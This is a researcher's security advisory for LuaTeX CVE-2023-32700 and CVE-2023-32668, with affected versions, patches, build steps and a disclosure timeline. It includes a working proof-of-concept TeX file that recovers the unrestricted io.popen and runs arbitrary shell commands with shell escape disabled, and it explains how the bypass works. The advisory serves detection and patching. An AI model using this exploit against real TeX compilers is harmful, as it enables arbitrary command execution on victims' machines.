LuaTeX Security Vulnerabilities

2023-05-20

Summary

Any document compiled with older versions of LuaTeX can execute arbitrary shell commands, even with shell escape disabled.

This affects LuaTeX versions 1.04–1.16.1, which were included in TeX Live 2017–2022 as well as the original release of TeX Live 2023. This issue was fixed in LuaTeX 1.17.0, and is distributed as an update to TeX Live 2023.

This issue has been assigned CVE-2023-32700.

Exploit Code

To see if you are vulnerable, you may use the below sample document:

TeX File

% shell-escape-test.tex
\directlua{
    local function get_upvalue(func, name)
        local nups = debug.getinfo(func).nups

        for i = 1, nups do
            local current, value = debug.getupvalue(func, i)
            if current == name then
                return value
            end
        end
    end

    local outer = get_upvalue(io.popen, "popen")
    local popen = get_upvalue(outer or io.popen, "io_popen")

    print(popen(arg[rawlen(arg)]):read("*a"))
}
\csname@@end\endcsname
\end

Vulnerable Transcripts

$ lualatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"
This is LuaHBTeX, Version 1.16.0 (TeX Live 2023)
 restricted system commands enabled.
(./shell-escape-test.tex
LaTeX2e <2022-11-01> patch level 1
 L3 programming layer <2023-04-20>@@@VULNERABLE@@@

)
 296 words of node memory still in use:
   1 hlist, 3 kern, 1 glyph, 1 attribute, 39 glue_spec, 1 attribute_list nodes
   avail lists: 2:10,3:3,4:1,5:1

warning  (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.

$ luatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"
This is LuaTeX, Version 1.16.0 (TeX Live 2023)
 restricted system commands enabled.
(./shell-escape-test.tex@@@VULNERABLE@@@

)
warning  (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.

Safe Transcripts

$ lualatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"
This is LuaHBTeX, Version 1.17.0 (TeX Live 2024)
 restricted system commands enabled.
(./shell-escape-test.tex
LaTeX2e <2022-11-01> patch level 1
 L3 programming layer <2023-04-20>[\directlua]:1: attempt to call a nil value (local 'popen')
stack traceback:
	[\directlua]:1: in main chunk.
l.17 }

? )
 296 words of node memory still in use:
   1 hlist, 3 kern, 1 glyph, 1 attribute, 39 glue_spec, 1 attribute_list nodes
   avail lists: 2:10,3:3,4:1,5:1

warning  (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.

$ luatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"
This is LuaTeX, Version 1.17.0 (TeX Live 2024)
 restricted system commands enabled.
(./shell-escape-test.tex[\directlua]:1: attempt to call a nil value (local 'popen')
stack traceback:
	[\directlua]:1: in main chunk.
l.17 }

? )
warning  (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.

Details

Affected Configurations

LuaTeX

LuaTeX versions 1.04–1.16.1 are affected by this vulnerability.

LuaTeX versions 1.17.0 (2023-04-29) and newer are not affected by this vulnerability. LuaTeX versions prior to and including 1.03 (2017-02-16) are also not affected.

If you have an unversioned LuaTeX built from source, commit 4d8b815d introduced the issue on 2017-03-01, and commits 5650c067 and b8b71a25 resolved the issue on 2023-04-24.

This vulnerability affects all 4 LuaTeX engines: LuaTeX, LuaHBTeX, LuaJITTeX, and LuaJITHBTeX.

Distributions

This issue affects TeX Live 2017–2022 and the original release of TeX Live 2023. Beginning on 2023-05-02, TeX Live 2023 distributed the latest version of LuaTeX that is not vulnerable to this issue.

This issue also affects MiKTeX 2.9.6300–23.4. On 2023-05-05, MiKTeX 23.5 distributed the latest version of LuaTeX that is not vulnerable to this issue.

Other unnamed distributions are also affected. To check if your specific installation is affected, check luatex --version or test the exploit code.

Formats

Plain LuaTeX, LuaLaTeX, and OpTeX are all affected by this vulnerability.

ConTeXt is not affected by this vulnerability since it always has shell-escape enabled.

Operating Systems and Architectures

This vulnerability affects all operating systems and architectures.

Command-line Flags

All of LUATEX (default), LUATEX --no-shell-escape, and LUATEX --shell-restricted are vulnerable. LUATEX can be any of luatex, lualatex, luahbtex, optex, etc.

LUATEX --safer is not vulnerable; however running with --safer disables loading TTF/OTF fonts (via luaotfload/fontspec), thus negating one of the primary benefits of using LuaTeX. As such, exceedingly few users typically run LuaTeX using with --safer.

Exploitation Requirements

In order to exploit this vulnerability, an attacker will generally need to convince a user to compile (run) a malicious document using a vulnerable LuaTeX version. An alternate attack would require the user to compile any document in an attacker-controlled working directory.

LuaTeX has been included in all major TeX distributions since 2008, and most extant versions of LuaTeX are vulnerable, so the technical requirements will generally be met by all (La)TeX users. Users also typically assume that compiling an unknown TeX document is safe (similar to how opening an unknown PDF document is safe), so an attacker should be able to easily persuade a potential victim to compile a malicious document.

Many online services (Overleaf, CoCalc, CodeCogs, etc.) allow untrusted users to compile arbitrary documents; however, most of these services are either pdfTeX-only or use additional sandboxing, so they should be unaffected by this issue.

texlive.net was initially vulnerable to this issue. Before this vulnerability was publicly disclosed, I privately emailed the maintainers and the issue was quickly fixed. There are a few other vulnerable online services, but these are quite rare in comparison to the safe ones.

Solution

The Easy Way

If you are using TeX Live 2023 or MiKTeX, you can simply update your distribution to install the patched version of LuaTeX.

If you are using a LuaTeX packaged by a Linux or BSD distribution, then updating your distribution should get you a patched version of LuaTeX. If this is not the case, then please point your distribution maintainers to this page.

TeX Live ≤ 2022

If you are using an older version of TeX Live, then you should ideally upgrade to TeX Live 2023. If this is not possible, then you can manually install updated LuaTeX binaries.

If you’re using Linux x86_64 or Windows, then you can download specifically-patched binaries in the next section.

Otherwise, you can use the latest binaries from TeX Live 2023. Using newer binaries with older TeX Live TEXMF trees will generally work without causing any issues; however, there may be some backwards incompatibilities depending on old your TeX installation is.

  1. Download the appropriate files for your operating system and architecture
    OS/architectureDownload Links
    Linux ARM64LuaTeXLuaHBTeXLuaJITTeX
    Linux ARMHFLuaTeXLuaHBTeXLuaJITTeX
    Linux x86LuaTeXLuaHBTeXLuaJITTeX
    Linux x86_64LuaTeXLuaHBTeXLuaJITTeX
    Linux x86_64 muslLuaTeXLuaHBTeXLuaJITTeX
    FreeBSD x86_64LuaTeXLuaHBTeXLuaJITTeX
    FreeBSD x86LuaTeXLuaHBTeXLuaJITTeX
    NetBSD x86_64LuaTeXLuaHBTeXLuaJITTeX
    NetBSD x86LuaTeXLuaHBTeXLuaJITTeX
    Solaris x86LuaTeXLuaHBTeXLuaJITTeX
    Solaris x86_64LuaTeXLuaHBTeXLuaJITTeX
    macOS x86_64/ARM64LuaTeXLuaHBTeXLuaJITTeX
    Windows x86_64LuaTeXLuaHBTeXLuaJITTeX
    Windows x86LuaTeXLuaHBTeXLuaJITTeX
    Cygwin x86_64LuaTeXLuaHBTeXLuaJITTeX
  2. Unpack the archives in $TEXMFDIST. You can get the exact location by running
    $ kpsewhich --var-value=TEXMFDIST
    
    Ensure that you overwrite the files luatex, luahbtex, and luajitex.
  3. Rebuild the format files:
    $ fmtutil-sys --all
  4. Verify that you have at least version 1.17.0 for all four commands:
    $ luatex --version
    This is LuaTeX, Version 1.17.0 (TeX Live 2023)
    [...]
    
    $ luahbtex --version
    This is LuaHBTeX, Version 1.17.0 (TeX Live 2023)
    [...]
    
    $ luajittex --version
    This is LuajitTeX, Version 1.17.0 (TeX Live 2023)
    Development id: 7581
    [...]
    
    $ luajithbtex --version  # (optional)
    This is LuajitHBTeX, Version 1.17.0 (TeX Live 2023)
    Development id: 7581
    [...]
    

Build from Source

The first step is to download the source.

(Option 1)
$ mkdir tl2023
$ rsync -a --delete --exclude=.svn --exclude=Work --exclude=inst tug.org::tlbranch ./tl2023

(Option 2)
$ wget 'https://github.com/TeX-Live/texlive-source/archive/refs/tags/build-svn66984.tar.gz'
$ tar xf build-svn66984.tar.gz

Next, you can build the source. If you have previously built TeX Live, then you can follow the brief instructions from tlbuild. Otherwise, you can find full instructions on the “TeX Live build procedure” page.

If you have no experience building TeX Live, then you may find it easier to build LuaTeX alone. To do so, you can follow the simplified procedure below:

$ git clone --depth 1 https://gitlab.lisn.upsaclay.fr/texlive/luatex.git
$ cd luatex
$ git checkout 1.17.0
$ ./build.sh --parallel --luahb --jit --jithb
# cp build/texk/web2c/luatex build/texk/web2c/luahbtex build/texk/web2c/luajittex build/texk/web2c/luajithbtex "$(kpsewhich --var-value=SELFAUTOLOC)"
# fmtutil-sys --all

Patching Older Versions

If you are using an older version of LuaTeX and need to maintain absolute backwards compatibility, then you can apply the following patches to your LuaTeX source:

diff --git a/source/texk/web2c/luatexdir/lua/loslibext.c b/source/texk/web2c/luatexdir/lua/loslibext.c
--- a/source/texk/web2c/luatexdir/lua/loslibext.c
+++ b/source/texk/web2c/luatexdir/lua/loslibext.c
@@ -1047,6 +1047,111 @@ static int os_execute(lua_State * L)
 }
 
 
+/*
+** ======================================================
+** l_kpse_popen spawns a new process connected to the current
+** one through the file streams with some checks by kpse.
+** Almost verbatim from Lua liolib.c .
+** =======================================================
+*/
+#if !defined(l_kpse_popen)           /* { */
+
+#if defined(LUA_USE_POSIX)      /* { */
+
+#define l_kpse_popen(L,c,m)          (fflush(NULL), popen(c,m))
+#define l_kpse_pclose(L,file)        (pclose(file))
+
+#elif defined(LUA_USE_WINDOWS)  /* }{ */
+
+#define l_kpse_popen(L,c,m)          (_popen(c,m))
+#define l_kpse_pclose(L,file)        (_pclose(file))
+
+#else                           /* }{ */
+
+/* ISO C definitions */
+#define l_kpse_popen(L,c,m)  \
+          ((void)((void)c, m), \
+          luaL_error(L, "'popen' not supported"), \
+          (FILE*)0)
+#define l_kpse_pclose(L,file)                ((void)L, (void)file, -1)
+
+#endif                          /* } */
+
+#endif                          /* } */
+typedef luaL_Stream LStream;
+#define tolstream(L)    ((LStream *)luaL_checkudata(L, 1, LUA_FILEHANDLE))
+static LStream *newprefile (lua_State *L) {
+  LStream *p = (LStream *)lua_newuserdata(L, sizeof(LStream));
+  p->closef = NULL;  /* mark file handle as 'closed' */
+  luaL_setmetatable(L, LUA_FILEHANDLE);
+  return p;
+}
+static int io_kpse_pclose (lua_State *L) {
+  LStream *p = tolstream(L);
+  return luaL_execresult(L, l_kpse_pclose(L, p->f));
+}
+static int io_kpse_check_permissions(lua_State *L) {
+    const char *filename = luaL_checkstring(L, 1);
+    if (filename == NULL) {
+        lua_pushboolean(L,0);
+        lua_pushliteral(L,"no command name given");
+    } else if (shellenabledp <= 0) {
+        lua_pushboolean(L,0);
+        lua_pushliteral(L,"all command execution is disabled");
+    } else if (restrictedshell == 0) {
+        lua_pushboolean(L,1);
+        lua_pushstring(L,filename);
+    } else {
+        char *safecmd = NULL;
+        char *cmdname = NULL;
+        switch (shell_cmd_is_allowed(filename, &safecmd, &cmdname)) {
+            case 0:
+                lua_pushboolean(L,0);
+                lua_pushliteral(L, "specific command execution disabled");
+                break;
+            case 1:
+                /* doesn't happen */
+                lua_pushboolean(L,1);
+                lua_pushstring(L,filename);
+                break;
+            case 2:
+                lua_pushboolean(L,1);
+                lua_pushstring(L,safecmd);
+                break;
+            default:
+                /* -1 */
+                lua_pushboolean(L,0);
+                lua_pushliteral(L, "bad command line quoting");
+                break;
+        }
+    }
+    return 2;
+}
+static int io_kpse_popen (lua_State *L) {
+  const char *filename = NULL;
+  const char *mode = NULL;
+  LStream *p = NULL;
+  int okay;
+  filename = luaL_checkstring(L, 1);
+  mode = luaL_optstring(L, 2, "r");
+  lua_pushstring(L,filename);
+  io_kpse_check_permissions(L);
+  filename = luaL_checkstring(L, -1);
+  okay = lua_toboolean(L,-2);
+  if (okay && filename) {
+    p = newprefile(L);
+    luaL_argcheck(L, ((mode[0] == 'r' || mode[0] == 'w') && mode[1] == '\0'),
+		  2, "invalid mode");
+    p->f = l_kpse_popen(L, filename, mode);
+    p->closef = &io_kpse_pclose;
+    return (p->f == NULL) ? luaL_fileresult(L, 0, filename) : 1;
+  } else {
+    lua_pushnil(L);
+    lua_pushvalue(L,-2);
+    return 2;
+  }
+}
+
 void open_oslibext(lua_State * L)
 {
 
@@ -1080,6 +1185,8 @@ void open_oslibext(lua_State * L)
     lua_setfield(L, -2, "execute");
     lua_pushcfunction(L, os_tmpdir);
     lua_setfield(L, -2, "tmpdir");
+    lua_pushcfunction(L, io_kpse_popen);
+    lua_setfield(L, -2, "kpsepopen");
 
     lua_pop(L, 1);              /* pop the table */
 }
diff --git a/source/texk/web2c/luatexdir/lua/luatex-core.lua b/source/texk/web2c/luatexdir/lua/luatex-core.lua
--- a/source/texk/web2c/luatexdir/lua/luatex-core.lua
+++ b/source/texk/web2c/luatexdir/lua/luatex-core.lua
@@ -34,7 +34,6 @@ if kpseused == 1 then
     local kpse_recordoutputfile = kpse.record_output_file
 
     local io_open               = io.open
-    local io_popen              = io.popen
     local io_lines              = io.lines
 
     local fio_readline          = fio.readline
@@ -75,12 +74,6 @@ if kpseused == 1 then
         return f
     end
 
-    local function luatex_io_popen(name,...)
-        local okay, found = kpse_checkpermission(name)
-        if okay and found then
-            return io_popen(found,...)
-        end
-    end
 
     -- local function luatex_io_lines(name,how)
     --     if name then
@@ -130,7 +123,7 @@ if kpseused == 1 then
     mt.lines = luatex_io_readline
 
     io.open  = luatex_io_open
-    io.popen = luatex_io_popen
+    io.popen = os.kpsepopen
 
 else
 
@@ -169,6 +162,8 @@ if saferoption == 1 then
     os.setenv  = installdummy("os.setenv")
     os.tempdir = installdummy("os.tempdir")
 
+    os.kpsepopen = installdummy("os.kpsepopen")
+
     io.popen   = installdummy("io.popen")
     io.open    = installdummy("io.open",luatex_io_open_readonly)

Aside from patching this security vulnerability, this patch will not cause any observable changes in LuaTeX’s behaviour.

After applying the diff, you will need to run

$ cd source/texk/web2c/luatexdir/lua/
$ mtxrun --script luatex-core.lua

before you can build your LuaTeX binaries. Once built, verify that you are no longer vulnerable by running the exploit code at the top of this document. This step is required to update luatex-core.c which cannot be cleanly diffed.

If you encounter any difficulties, you can ask for help on either the LuaTeX developers list (dev-luatex@ntg.nl) or the TeX Live builders list (tlbuild@tug.org).

Patches for Specific Versions

The above patch cleanly applies only to recent TeX Live versions. In addition, using the above patch requires a working ConTeXt installation to run mtxrun.

For each of the TeX Live versions listed below, you can simply apply the linked patches to your current source and recompile, with no additional steps needed. Additionally, I have provided patched binaries for select systems.

These patches/binaries only contain the fix for CVE-2023-32700 (popen); they do not any fixes for CVE-2023-32668 (socket).

TeX Live 2017
LuaTeX Version
1.0.4
Programs Built
  • LuaTeX
  • LuaJITTeX
Binary Downloads
Complete Patch
TeX Live 2018
LuaTeX Version
1.07.0
Programs Built
  • LuaTeX
  • LuaJITTeX
Binary Downloads
Complete Patch
TeX Live 2019
LuaTeX Version
1.10.0
Programs Built
  • LuaTeX
  • LuaJITTeX
Binary Downloads
Complete Patch
TeX Live 2020
LuaTeX Version
1.12.0
Programs Built
  • LuaTeX
  • LuaHBTeX
  • LuaJITTeX
  • LuaJITHBTeX
Binary Downloads
Complete Patch
TeX Live 2021
LuaTeX Version
1.13.0
Programs Built
  • LuaTeX
  • LuaHBTeX
  • LuaJITTeX
  • LuaJITHBTeX
Binary Downloads
Complete Patch
TeX Live 2022
LuaTeX Version
1.15.0
Programs Built
  • LuaTeX
  • LuaHBTeX
  • LuaJITTeX
  • LuaJITHBTeX
Binary Downloads
Complete Patch
TeX Live 2023
LuaTeX Version
1.16.0
Programs Built
  • LuaTeX
  • LuaHBTeX
  • LuaJITTeX
  • LuaJITHBTeX
Binary Downloads
Complete Patch

Binary Compilation Details

Below I’ll list the exact steps I used to compile the binaries linked above. This is only relevant if you want to exactly reproduce the binaries linked above; if you’re maintaining a Linux/BSD distribution, you should just apply the patches above then use your normal TeX Live build process.

General

Download the source code:

$ curl 'https://tug.org/~mseven/luatex-files/20[17-23]/patch' -o '20#1.patch'
$ git init luatex
$ cd luatex
$ git fetch --depth 1 'https://gitlab.lisn.upsaclay.fr/texlive/luatex.git' tag 1.0.4 tag 1.07.0 tag 1.10.0 tag 1.12.0 tag 1.13.0 tag 1.15.0 tag 1.16.0
Linux x86_64

Since linking with glibc is only backwards compatible (not forwards compatible), you need to build Linux binaries on the oldest system that you plan on supporting. In 2023, this is typically CentOS 7.

Recent versions of LuaTeX won’t build with the default CentOS 7 compiler because it’s too old, so you’ll need to install devtoolset-10. But older versions of LuaTeX won’t build with the newer compilers, so you’ll also need the standard compiler installed.

Otherwise, building is fairly simple:

$ git checkout 1.0.4
$ git apply ../2017.patch
$ ./build.sh --parallel --jit
$ mkdir ../2017
$ cp build/texk/web2c/luatex build/texk/web2c/luajittex ../2017
$ git reset --hard @; git clean -fdx
(repeat for 2018/1.07.0 and 2019/1.10.0)

$ git checkout 1.12.0
$ git apply ../2020.patch
$ PATH=/opt/rh/devtoolset-10/root/usr/bin:/bin ./build.sh --parallel --jit --luahb --jithb
$ mkdir ../2020
$ cp build/texk/web2c/luatex build/texk/web2c/luajittex build/texk/web2c/luahbtex build/texk/web2c/luajithbtex ../2020
$ git reset --hard @; git clean -fdx
(repeat for 2021/1.13.0, 2022/1.15.0, and 2023/1.16.0)

I’ve done some basic testing with most of the binaries, and everything seems to work as expected. I don’t expect for there to be any issues, but use at your own risk.

Windows

Windows has a stable ABI, so we can build on any version without any issues. We need a different system this time though since CentOS 7 doesn’t package Mingw-w64. I used Ubuntu 18.04, but other distros should work too.

The annoying part here is that TeX Live 2017–2022 compiled binaries for x86, while TeX Live 2023 compiled binaries for x86_64, so we need to install both Mingw-w64 x86 and Mingw-w64 x86_64. The TeX Live build process also needs a native compiler, so we need to install a native Linux GCC. And cross-compiling LuaJIT requires that your native system has the same pointer size as the destination system, so we also need to install a 32-bit Linux GCC. Luckily, the GCC version in Ubuntu 18.04 works for compiling both new and old versions of LuaTeX; otherwise we’d need eight different compilers.

There are two more complications. First, the binaries want to dynamically link to libc++ and libgcc, so we need to modify the build script to force static linkage. Second, the version of Mingw-w64 in Ubuntu 18.04 is too old to recognize the constant PROCESSOR_ARCHITECTURE_ARM64, so we need to manually hard code this.

Otherwise, building is fairly straightforward:

$ git checkout 1.0.4
$ git apply ../2017.patch
$ sed -i 's/2621440/2621440 -static-libgcc -static-libstdc++/' ./build.sh  # Force a static build
$ ./build.sh --mingw32 --jit --parallel --build=i686-unknown-linux-gnu
$ mkdir ../2017
$ cp build-windows/texk/web2c/luajittex.exe build-windows/texk/web2c/luatex.exe ../2017
$ git reset --hard @; git clean -fdx
(repeat for 2018/1.07.0 and 2019/1.10.0)

$ git checkout 1.12.0
$ git apply ../2020.patch
$ sed -i 's/2621440/2621440 -static-libgcc -static-libstdc++/' ./build.sh  # Force a static build
$ sed -i 's/PROCESSOR_ARCHITECTURE_ARM64/12/' source/texk/web2c/luatexdir/lua/loslibext.c  # Fix for older versions of Mingw-w64
$ ./build.sh --mingw32 --jit --luahb --jithb --parallel --build=i686-unknown-linux-gnu
$ mkdir ../2020
$ cp build-windows32/texk/web2c/luajittex.exe build-windows32/texk/web2c/luatex.exe build-windows32/texk/web2c/luajithbtex.exe build-windows32/texk/web2c/luahbtex.exe ../2020
$ git reset --hard @; git clean -fdx
(repeat for 2021/1.13.0 and 2022/1.15.0)

$ git checkout 1.16.0
$ git apply ../2023.patch
$ sed -i 's/2621440/2621440 -static-libgcc -static-libstdc++/' ./build.sh  # Force a static build
$ sed -i 's/PROCESSOR_ARCHITECTURE_ARM64/12/' source/texk/web2c/luatexdir/lua/loslibext.c  # Fix for older versions of Mingw-w64
$ ./build.sh --mingw64 --jit --luahb --jithb --parallel
$ mkdir ../2023
$ cp build-windows64/texk/web2c/luajittex.exe build-windows64/texk/web2c/luatex.exe build-windows64/texk/web2c/luajithbtex.exe build-windows64/texk/web2c/luahbtex.exe ../2023
$ git reset --hard @; git clean -fdx

I’ve only tested these binaries with Wine, but everything seems to work as expected. I don’t expect for there to be any issues, but again, use at your own risk.

Patching Without Modifying Binaries

If you absolutely cannot change your current LuaTeX binaries, the following patch will provide protection against the exploit:

--- texmf-dist/tex/generic/tex-ini-files/luatexconfig.tex
+++ texmf-dist/tex/generic/tex-ini-files/luatexconfig.tex
@@ -66,4 +66,50 @@
   \global\let\pageheight\undefined
   \global\let\pagewidth\undefined
   \global\let\dvimode\undefined
+  % \global\everyjob{\directlua{
+  %   do
+  %     local getupvalue = debug.getupvalue
+  %     local setupvalue = debug.setupvalue
+
+  %     local function get_upvalue(func, name)
+  %         local nups = debug.getinfo(func).nups
+
+  %         for i = 1, nups do
+  %             local current, value = getupvalue(func, i)
+  %             if current == name then
+  %                 return value
+  %             end
+  %         end
+  %     end
+
+  %     local popen_wrapper = get_upvalue(io.popen, "popen")
+  %     local popen = get_upvalue(popen_wrapper or io.popen, "io_popen")
+  %     print("<<<", popen, ">>>")
+  %     local do_nothing = function() end
+
+  %     local function checked_getupvalue(...)
+  %         local name, value = getupvalue(...)
+  %         if value == popen or
+  %            value == getupvalue or
+  %            value == setupvalue
+  %         then
+  %             return name, do_nothing
+  %         else
+  %             return name, value
+  %         end
+  %     end
+  %     debug.getupvalue = checked_getupvalue
+
+  %     function debug.setupvalue(func, index, value)
+  %         local name, orig_value = checked_getupvalue(func, index)
+  %         if orig_value == do_nothing or
+  %            func == checked_getupvalue
+  %         then
+  %             return name
+  %         else
+  %           return setupvalue(func, index, value)
+  %         end
+  %     end
+  % end
+  % }}
 \endgroup

--- texmf-dist/tex/generic/tex-ini-files/lualatex.ini
+++ texmf-dist/tex/generic/tex-ini-files/lualatex.ini
@@ -13,7 +13,7 @@
   % a callback. Originally this code was loaded via lualatexquotejobname.tex
   % but that required a hack around latex.ltx: the behaviour has been altered
   % to allow the callback route to be used directly.
-  \global\everyjob{\directlua{require("lualatexquotejobname.lua")}}
+  \global\everyjob\expandafter{\the\everyjob\directlua{require("lualatexquotejobname.lua")}}
 \endgroup
 
 \input latex.ltx

Then, rebuild your format files:

# fmtutil-sys --all

Finally, verify that the patch worked by testing with the exploit code at the top of this document.

This patch may not provide complete protection against a motivated attacker, so please use one of the other options if at all possible.

Impact

This vulnerability is quite serious: it completely defeats the security protections of the second-most popular TeX engine. This means that any TeX file — packages, classes, documents, .aux files, etc, — can execute arbitrary commands on your computer.

Despite all this, this vulnerability has a relatively low impact for reasons best described below:

File
    Extensions
xkcd.com/1301/

Less facetiously, people rarely compile TeX files obtained from untrusted sources. Most people only compile files that they have written themselves, from trusted collaborators, or from packages distributed by their TeX distribution. For this vulnerability to be an issue, you would need to compile an outright malicious TeX file.

Most services that compile TeX files from unknown users tend to use additional sandboxing. For example, Overleaf compiles each document in an ephemeral container. This means that even if an attacker were to exploit this vulnerability, they would only be able to execute commands inside the container, which would be destroyed after the document is compiled. (And besides, Overleaf enables unrestricted shell escape by default, so you can already execute arbitrary commands.)

There are of course many services and users that will be affected by this vulnerability, but they are the exception rather than the rule. We have observed no signs of this vulnerability being exploited in the wild.

How it Works

The Exploit

When LuaTeX is started — before it runs any TeX or Lua code — it first calls the C function load_luatex_core_lua. This function runs the file luatex-core.lua that is embedded into the LuaTeX binary. Among other things, this file modifies a few Lua modules, mostly for backwards compatibility and security purposes.

Here’s an excerpt of the relevant code:

local io_popen              = io.popen
-- [...]
local function luatex_io_popen(name,...)
    local okay, found = kpse_checkpermission(name)
    if okay and found then
        return io_popen(found,...)
    end
end
-- [...]
io.popen = luatex_io_popen

The above is pretty straightforward: it saves a local copy of the original io.popen, defines a new wrapper function that checks to see if the command is allowed with the current shell escape setting, and sets io.popen to the wrapper function.

The problem here is the local copy. The wrapper function saves a reference to the original io.popen, and using the Lua standard library function debug.getupvalue, we can access this internal reference. Once we’ve extracted the internal io.popen, we can use it to execute arbitrary processes without restriction, completely defeating any of the shell escape protections.

The Fix

The fix is fairly straightforward: instead of implementing the wrapper function in Lua, we now implement it in C, where we can no longer access the internals from Lua. We still reassign the function from Lua, but this is safe since doing so removes any reference to the original io.popen.

Additional Issues

While investigating this vulnerability, I discovered a few other minor security issues. Patches for both of these are include in LuaTeX 1.17.0, but not in the raw patches listed above.

debug Module still Available with --safer

When running LUATEX --safer, LuaTeX disables the debug module via luatex-core.lua:

if saferoption == 1 then
    -- [...]
    debug = nil

This isn’t very effective though since you can still access the entirety of the original module via package.loaded.debug. This is easily fixed by first nil’ing all the functions in the module, then by nil’ing package.loaded.debug.

This hasn’t been fixed yet, but it’s not really much of a vulnerability. Hardly anyone ever uses LUATEX --safer, and the debug module doesn’t do anything particularly unsafe. LUATEX --safer disables it simply to reduce the attack surface.

luasocket Enabled by Default

Summary

LuaTeX includes the luasocket module, which allows you to make network requests directly from LuaTeX:

\documentclass{article}

\usepackage{luacode}
\begin{luacode*}
    local http = require "socket.http"
    function get_ip()
        body, code, headers = http.request("http://icanhazip.com")
        tex.sprint(body)
    end
\end{luacode*}
\def\getip{\directlua{get_ip()}}

\begin{document}
    Your IP address is \getip.
\end{document}

This is quite useful, but it’s also a minor security risk: a malicious document could download dangerous files to your computer, or a malicious package could upload all your files to a remote server.

This issue has been assigned CVE-2023-32668 and affects LuaTeX versions 0.27.0–1.16.2 which were included in TeX Live 2009–2023 and MiKTeX 2.9.0–23.4.

Details

LuaTeX has included luasocket since version 0.27.0 (2008-06-24). From the very beginning, the manual stated that luasocket was enabled by default. In addition, running luatex --help has always listed a --nosocket option, which implies that sockets are enabled by default.

Despite all this, it is very surprising that a TeX engine allows unrestricted network access by default. This isn’t a “vulnerability” per se, but the feature is sufficiently dangerous, unexpected, and rarely used for it to merit a security update.

Solution

Since version 1.17.0 (2023-04-29, b266ef07^..da4492c7), LuaTeX disables the socket library by default. You can re-enable the socket module at runtime by compiling with either LUATEX --socket or LUATEX --shell-escape.

If you installed the LuaTeX 1.17.0 binaries from your TeX distribution, the manual download links above, or by building version 1.17.0 from source, then you have received the above fix and luasocket will be disabled by default.

If you have not installed LuaTeX 1.17.0, then you can block network access by compiling all of your documents with LUATEX --nosocket.

If you are unable to upgrade to LuaTeX 1.17.0, you can patch the LuaTeX binary or luatexconfig.tex to disable luasocket by default; however, I wouldn’t recommend this. The only reason to intentionally use an older LuaTeX binary is to maintain backwards compatibility, but the socket change intentionally breaks this.

If you are running the initial version of TeX Live 2023, then the security benefits of this change outweigh the backwards compatibility concerns. But if you’re managing a Linux/BSD distribution that distributes an older version of TeX Live, then it’s probably not worth it to backport this fix.

ConTeXt

Disabling luasocket by default breaks ConTeXt MkIV. TeX Live 2023 bundles a fix for this with the LuaTeX binary update. If you have manually installed an updated LuaTeX, you can fix ConTeXt by running:

# sed -i 's/%primaryflags%/%primaryflags% --socket --shell-escape/' $(type -p mtxrun).lua

If this worked correctly, the following command will run without any errors:

$ context --luatex --nofile

Timeline

May 20, 2008
luasocket is added to LuaTeX. (48789fc8)
March 1, 2017
The popen vulnerability is introduced to the LuaTeX source. (4d8b815d)
April 18, 2023
I reported all three vulnerabilities to tlsecurity@tug.org.
Initial response from the TeX Live team.
April 23, 2023
The popen vulnerability is patched in the LuaTeX source. (5650c067)
April 26, 2023
The luasocket issue is patched in the LuaTeX source. (e7df9234)
May 2, 2023

The LuaTeX 1.17.0 is merged into the TeX Live trunk. (r66984)

Binaries for x86_64-linux are distributed as an update.

May 5, 2023

TeX Live has now released binary updates for all architectures. (r67006)

MiKTeX distributes LuaTeX 1.17.0 as an update. (23.5)

May 9, 2023
(Beyond) Linux From Scratch releases a patch.
May 11, 2023
MITRE assigns CVE-2023-32668 and CVE-2023-32700.
May 13, 2023
I privately emailed the vulnerability details to the security contacts for Ubuntu, Debian, Arch, Gentoo, Fedora, RHEL, OpenSUSE/SLES, FreeBSD, OpenBSD, texlive.net, and Overleaf.
texlive.net is patched.
May 15, 2023
Overleaf confirms that they are unaffected.
May 17, 2023
OpenSUSE Tumbleweed releases a patch.
May 19, 2023
Gentoo releases a patch.
May 20, 2023
Embargo lifted; anyone may now publicly discuss the vulnerabilities.
OpenBSD releases a patch.
Debian releases a patch.
Nix releases a patch.
May 22, 2023
Details posted to tex-live@tug.org.
May 24, 2023
NetBSD releases a patch.
OpenSUSE Leap and SLES release patches.
Slackware releases a patch.
May 27, 2023
Haiku releases a patch.
Alpine releases a patch.
May 29, 2023
Arch releases a patch.
May 30, 2023
Ubuntu releases a patch.
Fedora releases a patch.
June 19, 2023
RHEL releases a patch.
June 21, 2023
Oracle Linux releases a patch.
June 23, 2023
Alma Linux releases a patch.
June 24, 2023
Rocky Linux releases a patch.

Credits

I (Max Chernoff) discovered and reported all three vulnerabilities. I also created the luatexconfig.tex patch, wrote a few tiny patches for the LuaTeX source, coordinated the patch with the distributions, and wrote this document.

Luigi Scarso (of the LuaTeX team) wrote all the documentation and patches for the LuaTeX binary. Karl Berry helped coordinate the release of the rare mid-year upgrade. Thank you both!

Contact

If you have any questions about LuaTeX 1.17.0, CVE-2023-32668, CVE-2023-32700, this page, or these vulnerabilities in general, feel free to email me at:

$ echo bXNldmVuIGF0IHRlbHVzIGRvdCBuZXQK | base64 -d